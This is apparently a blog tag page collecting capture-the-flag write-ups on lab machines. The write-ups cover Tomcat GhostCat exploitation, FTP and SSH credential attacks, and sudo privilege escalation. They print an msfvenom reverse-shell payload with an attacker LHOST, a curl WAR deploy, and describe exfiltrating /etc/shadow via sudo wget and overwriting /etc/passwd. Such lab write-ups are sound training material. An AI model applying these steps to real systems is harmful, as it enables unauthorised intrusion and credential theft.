Scanning
We run nmap on 22 and 80 ports with scripts and software versions.
Enumeration
We access port 80, we see the website of a router.
We can see a button where we download a file "RouterSpace.apk".
Mostrando entradas con la etiqueta sudo. Mostrar todas las entradas
Mostrando entradas con la etiqueta sudo. Mostrar todas las entradas
sábado, 9 de julio de 2022
miércoles, 8 de junio de 2022
Scanning
We scan with nmap all ports, scripts and software versions.
Enumeration
On port 8080 we enumerate a web service with Tomcat.
The Tomcat version is vulnerable to "GhostCat", so using the following exploit we can exploit the vuln and read the credentials stored in "WEB-INF/web.xml".
Exploitation
We create a .war file
msfvenom -p java/jsp_shell_reverse_tcp LHOST=XX.XX.XX.XX LPORT=XX -f war -o revshell.war
We cannot access from the graphical interface, but we can upload our .war file using curl.
curl --user 'user:password' --upload-file m3.war "http://dotjar.thm:8080/manager/text/deploy?path=/m3"
Reverse shell
We do a little reconnaissance, find a backup of the "shadow" file, transfer it to our kali with netcat.
We crack the hashes with the rockyou dictionary and get the plain password of the user "jdk-admin".
We authenticate as the user "jdk-admin", we see that we have access to the user flag and we can also execute the java binary as root.
Privilege Escalation
Very easy, we generate a reverse shell with the msfvenom tool and download it to the victim machine.
We run the malicious binary as SUDO, we will get a shell as root and we can read the flag.
About
David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.
Contacted on:
sábado, 12 de junio de 2021
Scanning
We scanned with the nmap tool all ports with scripts and software versions.
Enumeration
We access web services and we enumerate the corporate website.
We also list several corporate users.
We access the FTP service with the default credentials and download a file called "notes", where a list of passwords and user names are filtered.
We create a file with listed users and another one with the mentioned passwords.
We tried to brute force the SSH service without success, so we used the dirsearch tool with a medium directory dictionary and listed the "/backdoor/" directory.
We access and find an authentication system, we will probably have to brute force.
After much testing, there was no way and I had to start again from scratch... This time, I reused the listed users and the rockyou dictionary on the FTP service.
Recall that we found a note stating that the user "gcrawford" exposed his cryptographic keys.
Exploitation
Access the FTP service with the new credentials, check hidden files and find the ".ssh" directory with the user's ssh keys (private included).
We see that the private key is encrypted and we need the key to be able to use it.
We use the "ssh2john" tool to obtain the hash of the "id_rsa" file, crack it with the rockyou dictionary and in a few seconds we obtain the plain password.
We use the password, access by SSH and see that we can run nano on a text file and as the root user.
Privilege Escalation
We run nano with sudo calling the text file, there we will execute commands to obtain a shell as root.
Root prompt
Some of the flags found (the idea was just to root the machine)
About
David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.
Contacted on:
domingo, 6 de junio de 2021
Scanning
We use nmap to scan all ports with scripts and software versions.
Enumeration
We access the web service and find a default Apache page.
We enumerate the "Jessie" user in code HTML.
We use the dirsearch tool with a common dictionary and we enumerate the "/sitemap/" directory.
We access to this web, we find a corporate web.
We return use dirsearch tool in the new directory and we find the "/.ssh/" directory with id_rsa file.
Evidence a id_rsa file
Exploitation
We use id_rsa file with "Jessie" user in SSH service, We enumerate commands SUDO and we reading "user_flag.txt" file.
Privilege Escalation
Previously, we saw that we can run wget as SUDO. We use the flag "--post-file", we put a netcat listening and we see that it prints the file "/etc/shadow".
After that, we tried to crack the hash with rockyou, but I can't get the password. So I think, if I can read any file.... Why not read the root flag?
But please... This is cheating! Let's break the machine as it deserves.
So we will not complicate it, we will copy the file "/etc/passwd" and save it in our local kali.
We will create a new user, specify the hash of a password we know and save our "passwd" file.
Perfect! Then we will put in the variable "URL" the address of the file to our machine, "LFILE" will be the destination where the legitimate file will be replaced and we will execute the wget command as SUDO.
After seeing the "saved", we will authenticate with our new user, we will be root and we will be able to read again the root flag.
About
David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.